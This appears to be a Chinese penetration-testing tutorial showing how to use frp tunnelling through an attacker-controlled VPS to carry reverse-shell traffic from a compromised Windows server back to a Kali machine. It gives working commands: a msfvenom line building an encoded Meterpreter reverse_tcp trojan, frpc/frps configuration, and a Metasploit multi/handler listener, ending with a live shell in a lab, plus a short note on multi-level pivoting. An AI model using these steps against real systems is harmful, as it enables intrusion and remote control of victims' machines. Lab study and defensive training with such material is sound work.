文章目录
- 代理使用场景
- 代理过程
- 实验演示
- 多级代理
代理使用场景
1、拿下远程 web 服务器
2、webshell 链接不稳定,需要使用稳定的木马程序
3、远程服务器无法直接链接攻击者电脑
4、需要借助公网vps转发来自失陷服务器的木马流量
5、借助frp服务端(vps)和客户端(内网攻击者)建立隧道
6、当vps某一个端口收到流量的时候,frps 会根据提前和 frpc约定好的规则,使用简历好的隧道转发流量
代理过程
VPS(Virtual Private Server):虚似专用服务器。它就相当于是一种技术,可以将一部服务器分割成多个虚似专享服务器,相当于一个具有公网地址的虚拟机。
监听:监听是一种叫隧道的服务。
frp:和nc差不多,能监听端口,也能实现隧道功能。
过程如下图,攻击机kali在内网,服务器在公网。内网的kali可以访问公网的服务器,但是服务器不能访问内网的kali,现在需要服务器主动连接内网的kali,就需要代理才能实现。
当攻击者拿下了服务器8.8.8.8的webshell权限,并上传了完整功能的木马,该木马的功能是让服务器去访问虚拟专用服务器vps的某一端口如4444,然后frps服务会将4444端口的流量转发到7000端口(vps由攻击者控制,监听7000端口),通过隧道发送给kali,从而建立连接。
7000端口是由frp进行监听的,frp分为服务端frps和客户端frpc。当frps运行时,会自动将7000端口开放(端口号可以在配置文件中更改),然后与客户端的kali的任一闲置端口进行连接,从而建立隧道。
实验演示
打开一台kali虚拟机和一台Win 10虚拟机,将Windows虚拟机调成桥接模式,kali虚拟机调成nat模式:
查询获得Windows和kali的ip分别是10.9.75.107和192.168.121.128,此时kali能访问Windows:
但是Windows不能访问kali:
使用msf命令生成一个针对Windows的木马文件:
-p:指定playload
-e:指定加密类型
-i:指定加密次数
-f:指定文件类型
-o:指定文件名
这里用的是真实机的IP,因为虚拟机的Windows需要真实机支持
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.9.75.241 LPORT=4444 -e
x86/shikata_ga_nai -f exe -o shell.exe -i 5
如下图,生成了一个木马文件:
然后将生成的木马文件放到Windows虚拟机上,模拟木马上传到服务器:
将frp_0.33.0_linux_amd64压缩包复制到kali上,用tar命令解压,并进入解压后的目录:
tar xf frp_0.33.0_linux_amd64.tar.gz
如下图:
使用命令编辑它的配置文件:
vim frpc.ini
然后修改配置文件,配置服务器ip(因为虚拟机的流量要经过真实机,所以需要填真实机IP),vps的端口,和监听的本地端口,配置后:wq保存退出:
配置成功后,当远程的vps收到来自4444端口的流量,然后通过7000端口转发,最终会被本地的1000端口接收
接下来用用kali的msf监听1000端口:
1、启动msf : msfconsole
2、载入监控模块use exploit/multi/handler
3、加载 payload:
set payload windows/meterpreter/reverse_tcp
set lport 1000
set lhost 127.0.0.1
run
如图,已开始监听127.0.0.1:1000:
由于虚拟机服务器的流量需要真实机的支持才能和kali通信,所以真实机上也需要启动frp服务:
frps.exe -c frps.ini
如图:
然后在kali中启动vps的frpc服务,调用之前配置好的frpc.ini文件:
sudo ./frpc -c frpc.ini
如图,启动成功:
运行Windows虚拟机中的shell.exe文件:
执行后回到kali的msf监听窗口,发现代理已经成功,获得了webshell,并且可以执行命令,如下图:
多级代理
在有些内网环境中,它的内网环境分为好几层,我们必须通过拿到一层内网中服务器的权限之后再通过这一内网中的服务器进一步访问二层内网中的其他服务器。在这种环境中,我们就需要多级代理突破层层内网,来实现在内网中漫游。